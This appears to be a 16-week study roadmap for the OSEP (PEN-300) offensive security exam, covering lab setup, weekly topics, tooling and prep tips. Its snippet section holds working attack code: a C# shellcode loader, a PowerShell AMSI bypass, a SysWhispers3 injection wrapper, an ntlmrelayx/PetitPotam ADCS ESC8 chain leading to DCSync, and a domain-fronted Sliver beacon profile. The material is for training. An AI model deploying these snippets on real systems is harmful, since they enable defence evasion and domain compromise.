OSEP roadmap (PEN-300)

OSEP roadmap (PEN-300)

TL;DR: A 16-week roadmap from “I just passed OSCP” to “I can sit OSEP”. Heavier on tooling-development and EDR-evasion than on enumeration. Pair with oscp-vs-osep-mindset and osep-full-chain-walkthrough.

Prerequisites

  • Pass OSCP first, or be at OSCP-equivalent comfort.
  • Read C# without a tutorial open. (Not “write” — “read”.)
  • Build a lab: at least one Windows workstation, one server, a domain controller, an EDR you can put in dev mode (Defender or Elastic Defend).

Lab setup (do this before week 1)

  • Domain: corp.local. DC on Win2022. Workstation on Win11.
  • Enable Defender + AMSI in default config.
  • Install Sysmon with a sane config (SwiftOnSecurity).
  • Optional: a second forest partner.local with a trust to corp.local. Required for the cross-forest weeks.

The 16 weeks

Week 1 — mindset and OPSEC

Week 2 — C# loader fundamentals

  • Read: windows-api-and-syscalls, c-and-asm-primer.
  • Labs: write a C# “Hello, world” that uses P/Invoke to call MessageBoxW. Then one that loads shellcode into a private memory region and runs it via CreateThread.
  • Deliverable: minimal shellcode runner in C# that you’ll iterate on weekly.

Week 3 — AMSI and ETW

Week 4 — process injection (classic)

Week 5 — process injection (advanced)

Week 6 — syscalls and unhooking

Week 7 — client-side initial access

Week 8 — application allowlisting bypass

Week 9 — network filter bypass and C2

Week 10 — Windows credentials

Week 11 — Windows lateral movement

Week 12 — Linux post-exploitation and lateral

Week 13 — kiosk and edge cases

Week 14 — AD attacks deep

Week 15 — combining the attacks

Week 16 — exam prep, report template, sit

Required tooling list (build or acquire)

  • Sliver or Mythic C2 (free; open source).
  • SysWhispers3 for indirect syscall stubs.
  • Nanodump for LSASS.
  • Rubeus, Certify, SharpHound, SharpKatz (build yourself from source).
  • Donut for shellcode generation from .NET assemblies.
  • Process Hacker / Process Explorer for blue-team analysis.
  • Sysmon + sane config for telemetry observation.

Community courses that pair well

  • Sektor7 — RED Team Operator (Endgame and Malware Development).
  • MalDev Academy — comprehensive malware-development curriculum.
  • Cybernetics Pro Labs (HTB) — AD-heavy practice.
  • DEFCON 27 offensive C# workshop (mvelazc0) — free, eight short labs covering P/Invoke, custom Meterpreter stagers, raw shellcode injection, XOR/AES obfuscation, PowerShell-without-powershell.exe, classic DLL injection, process hollowing, parent-PID spoofing. A very efficient way to compress the early C# loader weeks.

Sample command snippets — the ones you will re-type all course long

A minimal C# loader skeleton (weeks 2-6) that you iterate on weekly:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
// loader.cs — compile with: csc /platform:x64 /unsafe loader.cs
using System;
using System.Runtime.InteropServices;
class L {
    [DllImport("kernel32")] static extern IntPtr VirtualAlloc(IntPtr a,uint s,uint t,uint p);
    [DllImport("kernel32")] static extern IntPtr CreateThread(IntPtr a,uint s,IntPtr f,IntPtr p,uint c,IntPtr i);
    [DllImport("kernel32")] static extern uint WaitForSingleObject(IntPtr h,uint m);
    static void Main(){
        byte[] sc = new byte[]{ /* msfvenom -p windows/x64/exec CMD=calc.exe -f csharp */ };
        IntPtr m = VirtualAlloc(IntPtr.Zero,(uint)sc.Length,0x3000,0x40); // MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE
        Marshal.Copy(sc,0,m,sc.Length);
        IntPtr t = CreateThread(IntPtr.Zero,0,m,IntPtr.Zero,0,IntPtr.Zero);
        WaitForSingleObject(t,0xFFFFFFFF);
    }
}

AMSI memory patch (week 3) — drop in before any IEX or .NET assembly load:

1
2
3
$a = [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils')
$f = $a.GetField('amsiInitFailed','NonPublic,Static')
$f.SetValue($null, $true)

NtAlloc + NtWrite + NtCreateThreadEx via SysWhispers3 (week 6) — the stubs you generate become a syscalls.asm you link in. The C wrapper looks like:

1
2
3
4
5
6
7
8
9
NTSTATUS status;
PVOID base = NULL;
SIZE_T sz = SHELLCODE_LEN;
status = SW3_NtAllocateVirtualMemory(NtCurrentProcess(),&base,0,&sz,MEM_COMMIT|MEM_RESERVE,PAGE_READWRITE);
SW3_NtWriteVirtualMemory(NtCurrentProcess(),base,shellcode,SHELLCODE_LEN,NULL);
ULONG oldProtect;
SW3_NtProtectVirtualMemory(NtCurrentProcess(),&base,&sz,PAGE_EXECUTE_READ,&oldProtect);
HANDLE hT;
SW3_NtCreateThreadEx(&hT,GENERIC_EXECUTE,NULL,NtCurrentProcess(),base,NULL,FALSE,0,0,0,NULL);

ntlmrelayx coercion + ADCS ESC8 chain (week 9 networking + week 14 AD) — the cheat sheet to paste:

1
2
3
4
5
6
7
# Terminal 1 — relay handler aimed at vulnerable CA
impacket-ntlmrelayx -t http://ca.corp.local/certsrv/certfnsh.asp --adcs --template DomainController -smb2support

# Terminal 2 — coerce DC$ over PetitPotam (or DFSCoerce / PrinterBug)
PetitPotam.py -u user -p pass -d corp.local attacker-ip dc01.corp.local

# Result: PFX + key for DC01$ — kerberos UnPAC for NT hash, then DCSync.

Sliver beacon profile snippet (week 9) — domain-fronted via Cloudflare Workers:

1
profiles new --mtls --domains worker-front.example.workers.dev,backend.example.com beacon-prod

Reuse these instead of typing from memory in the exam.

Pragmatic notes from people who sat the exam

  • C2 pairing: carry two C2s. Most candidates’ default is Sliver as primary (faster .NET assembly execution, smaller stagers) with Metasploit kept hot as a backup for token-handling and staging reliability. Chisel covers tunnelling for both.
  • Recon discipline: budget tool-time. After initial access, automated enumeration tends to plateau within 30–60 minutes; switch to manual file/registry/SQL exploration when that happens instead of grinding the same scripts.
  • Tradecraft chunking: mimikatz, Rubeus, CrackMapExec, SharpHound/BloodHound, Impacket, SQLRecon/PowerUpSQL are the recurring six. Drill each one against the lab until you can recall command shape without web search.
  • Report writing: start the report after each milestone, not at the end. Most write-ups describe an unpleasant final-hour scramble; a running report file removes that.

References